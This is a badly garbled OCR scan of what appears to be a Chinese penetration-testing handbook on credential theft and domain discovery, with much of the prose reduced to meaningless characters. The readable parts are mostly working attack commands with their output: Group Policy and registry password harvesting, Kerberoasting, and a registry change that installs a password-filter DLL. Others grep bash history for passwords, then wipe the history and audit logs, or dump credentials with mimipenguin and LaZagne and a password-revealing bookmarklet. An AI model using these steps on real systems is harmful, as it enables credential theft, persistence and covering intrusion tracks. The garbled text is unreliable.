Administrator\Desktop> Import-Module Get-GPPPassuord. ps)
Administrator\Desktop> Get-GPPPassword

[2019-85-20 B6:29:08, 20195-85-20 086:33:080)
|backuser LoMer )
[ BLANK ]
ladmintas~.., abé J
ROOTKIT.ORGASYSUOLY, « Policies\[AFT9ZAZC-BF19-8B22-3%

ATI308082283 ) \Hachine\Preferences\Groups\Groups . xml

6.1.4 SCIFPI R

REEH P AEARM RGP REZP R RS EIENX G, XS]
e BCAIZNXXRATEEECHNERE, SERFRERRNERSEE
NEEXH, HEBZ—TEBENTHEIXHF, BEXRRFAAFIE R password
B9 {4  findstr /si password *.txt findstr /si password *.xml findstr /si password
*.ini M Windows 38z HlI28_E RYZH SRS B IR TR EN 15 -

https://pentestlab.blog/2017/04/19/stored-credentials/



6.1.5 R HIEHE

Windows ZM&RFE T I RS ERCREFERNRERSE. WEEJ MBI
BEEMRFREE ERMEEF AR FNRSERNERENER, < T:

e JREXFAERF: reg query HKLM /f password /t REG_SZ /s

e FRENEHBIAF: reg query HKCU /f password /t REG_SZ /s

6.1.6 EAICR
EET MBS REICRIGARF B BERNEE.

6.1.7 Kerberos

SREETUNARER. RS, RARMGEERSEASPRNREZEIRRIZHIE
B, MeFARENRE, EFRSHIRIEMIENSIRETRE, FAKBREA
FERIPEA R ST RIAEARIREN R SR A F B, EF—1FF=2 MS14-

068, ELAKerberos NB#R, FEAFIRZEAIE Kerberos E4E,
https://adsecurity.org/?p=541 https://adsecurity.org/?p=525
https://adsecurity.org/?p=1515

6.1.8 Kerberoast

RS EMABZFR (SPN) 2 Kerberos B imEE—HRIRZATE Kerberos BARITEAY
ARSZEFIRIBIR, WREBIMAPIITEN LLRZTIRSEE, NS SEFIER 2
TEHBBECH SPN, MIREFIGAIREERZT2MHITHMIQUE, NLEENRS
SEBIRTIAE B 21 SPN, #5130, SPN iaR 121G TARS EFIRIENAIZTR, FlLt
ARSS SEGIRT AR EENMNS T RIREA1ZEM SPN, AT E&ZWUA AD
Kerberos i :

o SPNI#: BIEIERITE SPN £/EKBMNRS EARBTRREHRS.

e Silver Ticket: {8i& Kerberos TGS f[REZE



e Golden Ticket: {hi& Kerberos TGT IAIEE
e MS14-068 Forged PAC Exploit: F|f1igiz#l2s Y Kerberos iR,

e  HHA PAC - EEIEHZEENEA Golden Ticket 1 MS14-068 {83& PAC B97T

e Skeleton Key AFFRIEERM: LERE B HIZHIZRAEFR
LSASS Sfpinibidiz, MWERE - TEMBERER"EG, AIATXEE
IR #AT S IRIIE.

22 https://adsecurity.org/?p=2293 SPN 131# i&id SPN 33 LUBE B E
BETRS: https://github.com/PyroTekS/PowerSheII—AD—Recon

i "“t'ainr \Desk tophPowerShell-AD-Recon-master> Import-Module ADiscover-PSInterestingServices.psl
op\PowerShell1-AD-Recon-master? Discover-PSInterestingServices
rty data for computer

t
433 TERMSHY ; WSMAN
erver 2012 R2 Datacenter]

12449
)

‘kerbgl
nn

L 1601/1/1 8:00:00

£ 1L-BEY (-4 187-9364-DI1B6CHSEBDEG ; DNS ; exchangeRFR ; IMAP ; 1dap ; SMTP; TERMSRY
erver 2012 Datad ]

:26:50
)]

3/23 16:26:50
Eq‘ﬂﬂll

YK EERESREMKFPIERELA) SPN FIR, XLEFIRF B AR &K IIBRAL
TGS 23K fEHE A TGS RS EE.



6.1.9 I

MBRREIEBEIERARS LAINZEEOKIRBRBE LN E LA LEZNER ., REE
ML ZE OB T RERME BT ME AT aEH P RIEE, SiEBRRORIR
EVEE. BEZRAREEINEERFNEE, EPRE5RBNMEREET
MERBER IR ENEE, LA MEDEREEREIARRBER ., TE
iT Wireshark SRHEXEIZZ45

4 Capturing from Lk [Wireshark 1127 (v1.12.7-0-g7fc8978 from master-1.12)] [=To |
Edit  Yiev G 24 Statistics Telephony Jools [rternals e

EERZBIREMEEIA R

6.1.10 L8

Windows 31358 25 2 S AN A K = 245 SR B SR SEREAI AL o /MEE;EI).,E’]ET
REpSEHERE (DLL) , HREE TREBEGREBIIEEEZBENGE, ERIE
EEMMIEKRE, LSARBERRS LIEMELTRItdE, 81 BETIRSESEA
mMEl, SRR SRR BRI BNE, BiLTiR=sHTE



B, WE:

AIEEER:

1. % DLL EHIEIHEHIZR N E AT B ALY Windows 1ZlRB %K. mERERR,
ZRIANLE A9 Windows\System32.

2. FEimImME:
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Lsa/Notificatio

n Packages

1. ANERTFTE Notification Packages FIii, 154§ DLL BRFRRINZIINE
BEHEFR, F1EEZUEE, BAEEEJdITESR,

2. Y03 Notification Packages FINAZE, BRINE, ABNERIER
EDLL 9B, AEBZJAITEAE.

3. ZEMRERFENFIAILUAINS MRS,



1% DLL BUAENAB RAMEFEMRER

whoami exe

DConfigDB i 5l B
= Wiaacmgr.exe PMI ab (5] REG S7 ]
wiaaut.cil Kouhoard | a it 2y " Cabhd - ODXI0
wiadefui.dll mgﬂﬁ - OO0
wiadss.dll ey
BESEIN 00 3¢
WiakxtersionHosto 00 30
Notification Packages D000
wiarpc.dil
- “ - O 00
wiascanprofiles.dl ¥ (A FIEN) —
OO0
wiaservo dll : o000
'\Irlgr--l' J 'I’I-l“-
wiatrace dll 0
i wiawowbd exe OO0
wimgapi.dil I CoO00
: U000
1 wimsery.exe ;
e scecli
W S K Sy =
. LU0
e 2 Preiact2 il
el i X000
wins3Zspl.dil OO0
winbio.dll OneM0E
winbrand dll kerber
wincredprovider.d & B D00
Windows Applicatie =
. e iFEEHKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
o

A B e <1TRY S TUSE T :

1. BSEEUEMFREBEIREEIAS: REG QUERY
"HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Notification

Packages"

C-\Users\Administrator>REG QUERY “HKLHASYSTEMACurrentControlSet\Conirol\Lsa™ /v

Notification Packages

HKEY LOCAL_MACHINEASYSTEM\CurrentContralSet\Contral\lLsa
Notification Packages REG_MULTI_S? scecli\rassfa

2. ¥IN Win32Project3 BIiERS: REG ADD

"HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Notification
Packages" /t REG_MULTI_SZ /d "scecli\Orassfm\OWin32Project3" /f




3. HAFERAAKMBUEBRESE C\ERMTXH, EEICERERFE
(@Tﬁfﬁ’“‘iﬁﬁ)ﬁﬂ’])

GdjHwiED?1a(6L) Z6k65bH3E G 5dWS-E ) BEK
=:B@:7)11 Or i 3 " »1/9CPHDDK . 10U1pS6T

R RA GRS, BT AR AR S5 2R R A ACE &

22 https://3gstudent.github.io/3gstudent.github.io/Password-Filter—
DLL%ES5%9C%A8%EG6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%
E4%B8%ADY%E7%9A%84%E5%BA%94%E7%94%A8/
http://carnalOwnage.attackresearch.com/2013/09/stealing—passwords—
every—time-they.html

6.2 Linux
6.2.1 Bash History
Bash history 7%

Bash {£/ “history” LAEFIRIFAAEG T LBANG S, AP THE,
180 £ ICRRIFTEI A F8Y.bash_history XA, REHZE‘/NEHF', LI F R —1
B ~/.bash_history, B, WNXHRIRIRAFNRII 500 M&<, AFPBEEEHR
LT LEANBFRMBEENREFNSE, RAEEIHINEERTFALEXXGHS, K
TEAMNBEEREXGRER B RIERRRALINGE,
HEETTM

B#REEHL: Centos
ip #tfik: 192.168.18.138



Bash /77 iR
history

cat ~/.bash_history

cat #{bash [HEa <X} | grep #{bash L < XBIFGER} > HEE @ H X 4E}

R I 7
history

cd httpd/

le
is

T T
L

cat ac
cat
clear

L IET T T T |
. TR Y
5 .

y
var /www/html/

1s

cat test.php
cd ..

cd /

clear




I)‘/("// /A‘%j’//g

audit B&

ms audi
ntors=pam_keyinit,

time—>Sat Aug 17 19:05:54 2019

type=PROCTITLE msg=audit(1566039954.817:232): proctitle=636174002F726F6F74
2F2E626173685F686973746F7279

type=PATH msg=audit(1566039954.817:232): item=0 name="/root/.bash_history" in
0de=34163405 dev=fd:00 mode=0100600 ouid=0 ogid=0 rdev=00:00 obj=unconfine
d_u:object_r:admin_home_t:s0 objtype=NORMAL cap_fp=0000000000000000 cap_f
i=0000000000000000 cap_fe=0 cap_fver=0

type=CWD msg=audit(1566039954.817:232): cwd="/var/log/audit"

type=SYSCALL msg=audit(1566039954.817:232): arch=c000003e syscall=2 success
=yes exit=3 a0=71fc6f482769 al1=0 a2=1fffffffffffO000 a3=7ffc6f481220 items=1 ppi
d=7370 pid=8300 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0
tty=ptsO ses=2 comm="cat" exe="/usr/bin/cat" subj=unconfined_u:unconfined_r:u
nconfined_t:s0-s0:¢0.c1023 key=(null)

# XERERIT 80 BiSEE

LR

root@localhost:~# history

509 sudo cat ~/.bash_history | grep password > bash.txt



1. ESFBEIHEATIE export HISTCONTROL=ignorespace H 1T SIS LATHEFF
3k, MASIEFEE history

2. EZHYBISIENFIEHLIEE export HISTSIZE=0 history —cw #EEE
history

3. RERETEXRHFFELICE set +o history H1TA<S set —o history
4. MIASEICFEFMEFRIEERIARS history —d [num]

5. MFEEHHEHRS

rm ~/.bash_history

echo " " > .bash_history

cat /dev/null > ~/.bash_history

1. BRCERAEXHMNENTE, XEMASEFMEERIZRIA unset HISTFILE [F
R, RA]AMEAM NG A—EHEREEHEICR. SRR EBS
SHEMERIG LR, & Ctrl + UBREIT, haMAERICE

% audit 0

cat /dev/null > /var/log/audit/audit.log #;&k B &4

6.2.2 FHE A

Linux £E#/proc X RSB EE T BEXIETEBTHRIERSURSHAREFEE. A
mmﬂmiﬁm HFER AERR TRRRBEE EEGTHNREFINRNGE, 7]
DB MimiPenguin 3E3XKBX https://linux.cn/article—8581-1.html



mimipenguin
mimipenguin 7%

mimipenguin 22— 1% &, R, ER{EZEAM shell/python A, FEM
S8l Linux REHAFPFERMEEREIE (AF3M%E) W—IE, &8 RN
Linux &1ThrA, EFRITHI Windows T B mimikatz,

mimipenguin 2475

HRAFPRNZREERHARE (BITHNER) REEAREFED, FHUBRXFEFMER
<AFE, mimipenguin AR LR AXLEFERNFHHEXEIE - ESEME— i
2, HIREXTIeEE X ERNTT,

RiE, BIMNTATHERERSDITES T RIFHILER: /etc/shadow,
NFEM regex R, —BHAEMARAZT, EMcEivER L EITEIEE, (ERA
EFREMSEMNERBRBE R PTRACE RIFE#IM Linux REFFEFRIRENBAX
RFP#WE, )

FHN

BE4R#EH: Ubuntu 18.04.2 LTS

gnome—-keyring: 3.28.0.2

A #1F

# root YR

H i SCReY H

oS AR5 Z 5

Ubuntu Desktop 12.04 LTS x64 gnome-keyring—daemon v
(3.18.3)

Ubuntu Desktop 16.04 LTS x64 gnome-keyring—daemon v
(3.18.3)

Fedora Workstation 25 gnome-keyring—daemon v

(x86_64) (3.20.0)

Fedora Workstation 27 gnome-keyring—daemon v



(x86_64) (3.20.1)

Kali-rolling x64 gnome-keyring—daemon v
(3.28.0.2)

it FAY
#git T3 mimipenguin(FEL % git)
git clone https://github.com/huntergregal/mimipenguin.git

rootg :~# git clone https://github.com/huntergregal/mimipenguin
Cloning into 'mimipenguin’...
remote: Enumerating objects: 460, done.

remote: Total 4660 (delta @), reused @ (delta 0), pack-reused 460
Receiving objects: 100% (460/460), 157.60 KiB | 405.00 KiB/s, done.
Resolving deltas: 100% (207/207), done.

# iZ1T mimipenguin FREVEIE

cd mimipenguin/

./mimipenguin

root@! »:~# cd mimipenguin/

root@kurokoleung:~/mimipenguin# 1s
LICENSE Makefile mimipenguin mimipenguin_x32 README.md

root@ o :~/mimipenguin# ./mimipenguin
[+] GNOME KEYRING (2731)
[-] root:root

6.2.3 fA4H

KEE T AMBIZSIROH 28 EUREEFATA, XTI SSH FimfElRSH#H T M RIEsE R
TRZHEHENENX S, BRANBHNNERXHT REE

¥&: key, .pgp, .gpg, .p12, .pem, .pfx, .cer, .p7b, .asc, BRAILABEEEFEN
B R, W*nix T~ /.ssh BFE Windows T8 C:\User(username).ssh\
L SSH %40, BTN ATERERAITIRE, ALREE R IERREEICR
HHNFHITIREL, https://www.cnblogs.com/backlion/p/10619444 .html

https://unit42.paloaltonetworks.com/unit42—-prince—of-persia—game-over/



6.2.4 M EIREEHEA

MR IRIRZIEER RS AN KZIEO K MM e mRTREIT B & T & EERENE
B, WEHEHEFAENEZIEOE T RAMERUEE NEEshithih e EmhaosiE, =
E(EABEER O REASZRRUE.

ol

u]

\

B IZF AR AR EIE BEA P EIE, AHRBEIARENRMNBIMINEIE
REIE, 1532 BEBEARER. RNBFMNRENTIL.

RBIREE R DERENEIBCEIFER, HIAIETTARSS, WRASUAREEEEBE)
M /SRR EEERN ARV R MK AFIE (Fan: 1P Jik, 4=, VLANID) .

EPLE TN
B+nEE4: Centos
ip Hblk: 192.168.18.138

IR

tcpdump —c 10 —nnni #H{MK1EO}

# —nnn 2/ tcpdump BRIVIE IP. InOFRBAEE . wOXNNAEZRS 2R
# - EEEENNEEO

# -c IEEMBNNE

tshark —c 10 —i #{W+k#E0O}
# —c I8EINBEHE

# -1 IBEEEIMEMLEED
Kt P

Ji—
tcpdump —c 5 —nnni eth0



-
tshark —c 5 —i ethO

IJ/( b / /A‘%j’/k;"

R H &

/var/log/messages (EEEEMNZ: Ubuntu FERIALRFFE message HE,

EFARE)
F—HIE
message Hi&

cat /var/log/messages



message Hi&

cat /var/log/messages

6.2.5 {4 R AR

REEF UEARMY G R AN EHZFIEREASRBE, XA
MNERAFECEIENXXYE, BTEEECHER, & —NNANREZEITEH,
BERAAHRSBENEEXYE, SEESHRABEIRRE/ Z#HI3X 4,

A BUB T SR EM B D REFAEIN A IRENEE, o] AMEMEE
Windows 13j#Z #ll23_E AYZH SRR B X TN IR 1S 231,

Grep L ##2% 1A
grep —riP {(FEEHITHE) BESHRMX AR

grep —riP password /etc/



# -P R perl IEMFRIAL
# —r B)AEIE
#-i AXHKNE

I)‘/('///A‘f///ﬁ
grep —riP password /etc/

[root@localhost ~]

]
# )
&
# b
]
]
B
#
"
-
#
#

i R

o H &

linux audit & (EBSEEMNZE: Ubuntu ZRAER T%F audit, EE FHLE
HEcEHEXER)

bash [F£icxE (bash history)

audit &
# audit H SR EBETEER XA
cat /var/log/audit/audit.log



type=CWD msg=audit(1567247561.964:11973): cwd="/root"

type=PATH msg=audit(1567247561.964:11973): item=0 name="sssd" inode=336057
25 dev=fd:00 mode=040700 ouid=0 ogid=0 rdev=00:00 obj=unconfined_u:object_r:
semanage_store_t:s0 objtype=NORMAL cap_fp=0000000000000000 cap_fi=00000
00000000000 cap_fe=0 cap_fver=0

type=PROCTITLE msg=audit(1567247561.964:11973): proctitle=67726570002D2D63
6F6C6F723D6175746F002D7269500070617373776F7264002F6574632F
type=SYSCALL msg=audit(1567247561.964:11974): arch=c000003e syscall=257 suc
cess=yes exit=3 a0=5 a1=2246a48 a2=20000 a3=0 items=1 ppid=23476 pid=27309
auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=ptsO ses=28
8 comm="grep" exe="/usr/bin/grep" subj=unconfined_u:unconfined_r:unconfined_t:
s0-s0:¢0.¢1023 key=(null)

type=CWD msg=audit(1567247561.964:11974): cwd="/root"

type=PATH msg=audit(1567247561.964:11974): item=0 name="cil" inode=33605726
dev=fd:00 mode=0100600 ouid=0 ogid=0 rdev=00:00 obj=unconfined_u:object_r:se
manage_store_t:sO objtype=NORMAL cap_fp=0000000000000000 cap_fi=0000000
000000000 cap_fe=0 cap_fver=0

type=PROCTITLE msg=audit(1567247561.964:11974): proctitle=67726570002D2D63
6F6C6F723D6175746F002D7269500070617373776F7264002F6574632F
type=SYSCALL msg=audit(1567247561.964:11975): arch=c000003e syscall=257 suc
cess=yes exit=3 a0=5 a1=2246b68 a2=20000 a3=0 items=1 ppid=23476 pid=27309
auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=ptsO ses=28
8 comm="grep" exe="/usr/bin/grep" subj=unconfined_u:unconfined_r:unconfined_t:
s0-s0:¢0.¢1023 key=(null)

type=CWD msg=audit(1567247561.964:11975): cwd="/root"

type=PATH msg=audit(1567247561.964:11975): item=0 name="hll" inode=33605727
dev=fd:00 mode=0100600 ouid=0 ogid=0 rdev=00:00 obj=unconfined_u:object_r:se
manage_store_t:sO objtype=NORMAL cap_fp=0000000000000000 cap_fi=0000000
000000000 cap_fe=0 cap_fver=0

# XERZIRN T 89 7FASEE



bash /77 iR
history

1 grep -riP password /etc/
2 history

+£.Discovery
KSEE
net user //BEEBAMAEANEF

C:\Users\jack.0DAY>net user

\\PC-JACK-ODAY [11F /= ik /2

net user /domain //3R{EFIBEIAF &


https://attack.mitre.org/tactics/TA0007/

C:\Users\jack.@DAY>net user /domain
g RjG7E 18 oday.org [¥iisfEH| 2L 4L 1E ,

\\OWA2010SP3.0day.org [ il

Administrator

backup

ftpuser

itadmin

klion klionsec

louser mary

Redteamer secretary
SM_32dfaS37f3d34e8db SM_a53caf95chbc2400a8 SM_b9293dd4eb974c39a
SM_cabbcb1fa25c4786a sqladmin sqlsur

i test webadmin

C: \Users\Jack GDn?>net group "domain computers /domain
i o, 0day.org Kz

Domain Computers

AN B R EGRT A T

PC-JERRY-0DAYS PC-MARY-0DAYS
SRU DB-B8DAYS
(IH5E A% -

net group "Exchange Trusted Subsystem" /domain //Exchange {S{ERIF 24T

k.BDAY>net gr i ge Trusted Subsystem™ /domain
I oday.org E iE,

Exchange Trusted Subsystem
This group contains Exchange servers that run Exchange cmdlets on behalf of users via the management service.
embers haue permission to read and modify all Exchange configuration, as well as user accounts and groups. This gro
p should not be deleted.

net group "Domain Controllers" /domain //3X{SiE1xH235I&



s\jack.0DAY>net gr Domain Controllers” /domain
O TES], oday.org HiMFF IR0,

Domain Controllers
o A 4 ) 28

dsquery Y ERTEH, #Iiff windows server iRz LA H ., 1% windows
server 2008/2012/2016

dsquery user //EIEIFHHNAF

C:\Users\Administrator>dsquery user

"CN=Administrator,CN=Users, DC-=8day,DC-org"

"CN=Guest ,CN=Users,DC=0day,DC=0rg”

"CN=krbtgt,CN=Users,DC=0day.DC=0rg"
"CN=SystemMailbox(1f05a927-71fe-42d7-887d-c31d0cS56dd5f),CN=Users ,DC=0day,DC=0rg"
"CN=SystemMailbox(e0dc1¢c29-89¢c3-4034-b678-e6c29d823ed9) ,CN=Users ,DC=0day,DC=0rg"
"CN=DiscoverySearchMailbox (D919BAOS-46A6-415f-80AD-TEO9334BB852) .CN=Users,DC=0day,DC=0rg"
“CN=FederatedEmail .4c1f4d8b-8179-4148-93bf-00a95faledl2 CN=Users ,DC=0day,DC=0rg"
“CN=itadmin,OU=; C=0day,DC=org"”

"CN= ant1u1rur ,DC=0day,DC=0rqg”

"CN= marg oU=%4

"CN=louser

“CN=tadmin, . —HE.DC= 6day,DC:org”
“"CN=boss,0U=CED, DC Oday,DC=org™

dsquery computer //EiEiFATE

C:\Users\Administrator>dsquery computer
“"CN=0WA2010SP3,0U=Domain Controllers,DC=0day,DC=0rg"
"CN=SRU-DB-0DAY ,CN=Computers,DC=0day,DC=0rg"

"CN=PC-JERRY-0DAY,CN=Computers,DC=0day,DC=0rg"
"CN=PC-JACK-0ODAY,CN=Computers,DC=0day,DC=0org"
“"CN=PC-MARY-0DAY,CN=Computers,DC=0day,DC=0org”

dsquery contact //EiFABERA



f?\Users\ﬂdminisgrgtdr>dgqﬁerg contact

dsquery subnet //&Ei8ERIMNE XI5

C:\Users\Administrator>dsquery subnet

dsquery group //EIEEARE DA

C:\Users\Administrator>dsquery subnet

C:\Users\Administrator>dsquery group
"CN=Administrators,CN=Builtin,DC=0day,DC=0org”
"CN=Users,CN=Builtin,DC=0day,DC=0rg"
“"CN=Guests,CN=Builtin,DC=0day,DC=0org"

"CN=Print Operators,CN=Builtin,DC=0day,DC=org"
"CN=Backup Operators,CN=Builtin,DC=0day,DC=org"
“"CN=Replicator ,CN=Builtin,DC=0day,DC=org"

“"CN=Remote Desktop Users,CN=Builtin,DC=0day,DC=org"
"CN=Network Configuration Operators,CN=Builtin,DC=0day,DC=org”
“CN=Performance Monitor Users,CN=Builtin,DC=0day,DC=orqg"
“CN=Performance Log Users,CN:=Builtin,DC:=0day,DC=0rg"
"CN=Distributed COM Users,CN:=Builtin,DC:=0day,DC=org”
“"CN=IIS_IUSRS,CN=Builtin,DC=0day,DC=org"
“"CN=Cryptographic Operators,CN=Builtin,DC=0day,DC=org"
"CN=Event Log Readers,CN=Builtin,DC=0day,DC=org”
"CN=Certificate Service DCOM Access,CN=Builtin,DC=0day,DC=org”
“CN=Domain Computers,CN=Users,DC=0day,DC=org"

"CN=Domain Controllers,CN=Users,DC=0day,DC=org”
“"CN=Schema Admins,CN=Users,DC=0day,DC=0rg"
“"CN=Enterprise Admins,CN=Users,DC=0day,DC=org"

"CN=Cert Publishers,CN=Users,DC=0day,DC=org”

“"CN=Domain Admins,CN:=Users,DC=0day,DC=org"

“CN=Domain Users,CN=Users,DC=0day,DC=0org"

"CN=Domain Guests,CN=Users,DC=0day,DC=0rg"

"CN=Group Policy Creator Owners,CN=Users,DC=0day,DC=orqg"

dsquery server //&EI8FfARIEHE



C:\Users\Administrator>dsquery seruver

“CN=0WA2010SP3,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=0day,DC=org"

BhiF:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\CredUI\Enu

merateAdministrators

Details

Check Text ( C-WN12-CC-000077_chk )
If the following registry value does not exist or is not configured as specified, this is a finding:

Registry Hive: HKEY_LOCAL_MACHINE
Registry Path: \Software\Microsoft\Windows\CurrentVersion\Policies\CredUI

Value Name: EnumerateAdministrators

Type: REG_DWORD
Value: 0

Fix Text (F-WN12-CC-000077 _fix)

Configure the policy value for Computer Configuration -> Administrative Templates -> Windows Components -> Credential User
Interface -> "Enumerate administrator accounts on elevation” to "Disabled".

win+R——gpeditmsc——ITEHE & - >EIREWR — > Windows A - >&EiE
RAFPRE - >"WESEBEAKF,, RBENEER".



EHE RFEX FEEV BHE

ESEE T T i

=10ix|

e 2= EBE Y

| Windows Mail
| ¥indows Media Center
| Rindows Media Player
| ¥indows Media SIE{RREIR
| ¥indows Messenger
| Windows PowerShaell
] Windows SideShow
| Windows Update
& [ Windows HERIRE
| Windows TFFRAIR
7 Windows FISEMT
| ¥indows FFEHGNEHE
| Windows BF
| ¥indows RIFZEEES
1 Windows BEFRS
7 Windows FBEfichL,
7] Windows FIZEME (riniM)
7 Windows RITIRES
® [ Yindows HEEES
1 FEERL

| Z4EA
| T

=

=

W ERATE

RE— T REREECHEE 23

r ERE A STEEREE .

o BHEERERARS

FEE
FEE

£ R ARE]

Bl

)

Mac:

dscl .list /Groups

dscacheutil —q group

singlg-user 23T etc/master.passwd

Linux:

cat /etc/passwd

NEEOEE

powershell IRET H W 158

get-process | where—object {$_.mainwindowtitle —ne ""} | Select—Object

mainwindowtitle



powershell TR AR H A RN E 068

[activator]::Createlnstance([type]::GetTypeFromCLSID("13709620-C279-11CE-
A49E-444553540000")).windows()

N R HEREE
1. FPLEBRWRHEFEN
BB RARAR s 23 el & B 0 WA P E1%3% F12 EE 2,

BRABE

F12 {8284m2E password KB text KBI G/ EFHG



E3(Login)

i ] . T rume tent stmin v t f
loput same-"Uh_ " Type 'm':z 1d4-"th_pa” class "panswond” placebslder "R ARNRN HEH O
i t typ = T - bta legi ¥ i “btn_logl 5 submit Uten ty B

a. RN

EHERE, MAUTAR

javascript:(function()%7bvar s,F,jf,i; s = ""; F = document.forms; for(j=0; j<F.length;
++j) %7b T = F%5bj%5d; for (i=0; i<f.length; ++i) %7b if (f%5bi%5d.type.toLowerC
ase() == "password") s += f%5bi%5d.value + "\n"; %7d %7d if (s) alert("Passwords
in forms on this page:\n\n" + s); else alert("There are no passwords in forms on thi
s page.");%7d)();

ANERAE



@ hatpssfmpowstdnodcomy §
% = " F = document Sorma; fon{ =t j<F Jength; « + ) KD T« Fi_

IR/ /g e g, L ooy

® mtp/Aaloginon
Wtp/ 192068110/
Mitps//2 10.36.22. 188/
Mtpc/ /192198117
Mitpc//1 2. 068000/
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Mp 1216800/
it/ farwee fadebook comy
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PRI AL INGE Y

AR Ao

Vul Warning  Tech Article

T SCARENRPEGTE)EERTHRME. BxiR!

https://www.t00ks.net/loginhtml B7: X | EEAL

Passwords in forms on this page: Rams

W R
. EfZphg

N
3

http//pa

v O :

AL

b. google NiE2%

= [RE] — [BE] PaEE



MR Google WS

Cheorne & FEICIE v

LRI 1 T | .
E1anta e

L »

= it

9  munMean 0
i um

/T\
O)
Jo
=1

IR @

B

R TEIEE R RS, EINES, RpSmeip i RRsaT e,

B E RN Google M Fch(PIERTEEs

EfRrraUEEs
R84 FHP# oA

¢) github.com S 1 26 com RS S - O

e

RIEZEFENERFIINERLT 8EESR (FEX. Hh9)



- Windows &2 X -

Google Chrome

& B
Google Chrome[EFESIEVRER, IBMANERIWindowsE
FRLASCIF LR E,
TR ®
)
r]f'-’]f} - .

(I FT RIS Eﬁ&ﬁmﬂﬂﬁﬂgﬁﬁ"

F—
ARSI 7))

DESKTOP-UEIMMFW\illHacking
{EIREEHNE iR TR,
o | E-2VA0
o @Hacking
DESKTOP-UEIMMFV \silHacking
O aitf ©
Q wmsine
e m A

c. [ENIT23

[internet i£10] — [AE] — [Bzpz=m] — [RE] — [EEZE]

ERPEERBEAMERFIINERL T 8EEE (FEX. &hL)

d. XIMA 23

(Em] — [RAhS%RZE] - [RES5EE] - [EREFENERER] - [BRE
Z)



mE &% DA AR AN BT Ae g TEmTE

L L L sy

2. THsW|

WebBrowserPassView:

http://www.nirsoft.net/utils/web browserpassword.html
LaZagne : https://github.com/AlessandroZ/LaZagne
https://github.com/AlessandroZ/LaZagne/releases/

NirLaucher(B1E %, #EVRER, EERFR, FMOL, web BER. &7, ©
8. MK, 3389 F&EMO

% ):https://share.weiyun.com/43aa6fa8a648cf59d05b736fe7905090 2543 :
Dwx8gW

LaZagne ZZEH{ER

J% requirements.txt XAHE N EI & RAENEEFA, 4 linux:



Desktop  LaZagne-2.4.2 | Linux

| S

lazagne laZagne.py requirement
s.txt

requirements.txt XIERSUWT

a. Windows

LaZagne.exe all

C:\Users\ \Desk top\1>lazagne.exe all

The Lalagne Project

! BANG BANG !

HEHHHHHEHAR User

JRL: http://wuw.1zZyus.com
-.ogin: admin
*assword: admin

Google chrome passwords

URL: https://xui.ptlogin2.qq.com/cgi-bin/xlegin
fLogin: 886322721
iPassword: admin32212

[+] 2 passwords have been found
For more information launch it again with the -v option

b. Linux/Mac




python laZagne.py all

Login: postgres
Password: 123456

Login: root
Hash: $68hn5Vgdr9se]jXwMYodwugm42GUaIwU4ETPM3 . VkgEMsePOB042WkmrAqwlEVaPupzlimlex
KoqqJl rwHNjyylGw. 7tmR7pFe:17647:0:99999:7: : :

X SHEER

windows:

e dir/r/a

\Users\jack.
¢ MEF
DeF1=-2917
C:\Users\jack.0DAY {iH

j2019/05/25 21:10
2019/05/25 21:10 4 ) e
21:10 - > AppData
2019/05/25 21:10 < JUN > Application Data [C.\Users\jack 8D AppData‘\Roaming]
2019/05/25 21:10 > Contacts
2019/05/25 21:10 4 Cookies [C:\Users\jack. ODAY\AppData\Roaning\Microsoft\Windows\Cookies]
2019/08/08 11:19 < > Desktop
2019/08/08 11:01 <DIR> Docunents
2019/05/25 21:10 Downloads
2019/05/25 21:10 ‘ Favorites
2019/05/25 21:10 < 1> Links
2019/05/25 21:10 < b Local Settings [C:\Users\jack.@DAY\AppData‘iLocal]
2019/05/25 21: < b Music
2019/05/25 21: > My Documents [C:\Users\jack.@DAY\Documents]
2019/05/25 21: < NetHood [C:\Users\jack.BDAY\AppData\Roaming\Microsoft\Windows\Network Shortcuts]
2019/08/08 14: 786,432 NTUSER.DAT

o tree /f EREBTXHRAXMGNBIR. (FiRR)



Documents
L—WindowsPowershell
Modules
L—powersploit
.gitignore
LICENSE
pentest.dll
PowersSploit.psdl
PowerSploit.psmi
PowerSploit.pssproj
PowersSploit.sln
README . md
test

AntivirusBypass
AntivirusBypass.psdl
AntivirusBypass.psmil
Find-AUSignature.psi
Usage.md

CodeExecution
CodeExecution.psdil
CodeExecution.psmi
Invoke-DllInjection.psl
Invoke-ReflectivePEInjection.psi
Inuoke-Shellcode.psi
Invoke-WmiCommand.ps1
Usage.md

Inuoke-ReflectivePEInjection_Resources

DemoDLL .sln

linux/Mac:

find/locate/Is

X 2% g 5 13 1

nbtscan -r 192.168.16.0/24 //i&@id/N\T B nbtscan 133HE NN 4%

MEILERAF
Windows:

net share //BERAMAR ST FRIHZ Rz H %



C:\Users\jack.0DAY>net share

C:\

\ 3 ~ C:\Windows
a7 & A TH 7B A -

net view \remotesystem //EEInFZ RS FMEZ IR NE =

Mac:

df —aH

IR 45 LR
Responder
Impacket
Empire

PoshC2

FHRKER

Windows:

net accounts //BE &AM ZZ1L KR



C:\Users\jack.0DAY>net accounts
= 4 gl

30
WORKSTATION

jack . 0DAY>net accounts /domain
i, eday.org HjifiZH|aEAbE.

30
PRIMARY

PoshC2 Hf4 Get—PassPol

PS C:\Userssjack.BDAY\Desktop“\PoshC2-master\Modules?> .\Get—PassPol.psl
Domain Password Policy:

DomainName
Minimum Password Length (Chars)
inimum Password Age (Days>

aximum Password Age {(Days>
nforce Password History (Passwvords remembered)

Linux:



e cat /etc/pam.d/common-password

root@debian-s-1lvcpu-lgb-nycl-01:~# cat /etc/pam.d/common-password
/etc/pam.d/common-password - password-related modules common to all services
This file is included from other service-specific PAM config files,

and should contain a list of modules that define the services to be
used to change user passwords. The default is pam unix.

#
#
#
#
#
#

Explanation of pam unix options:

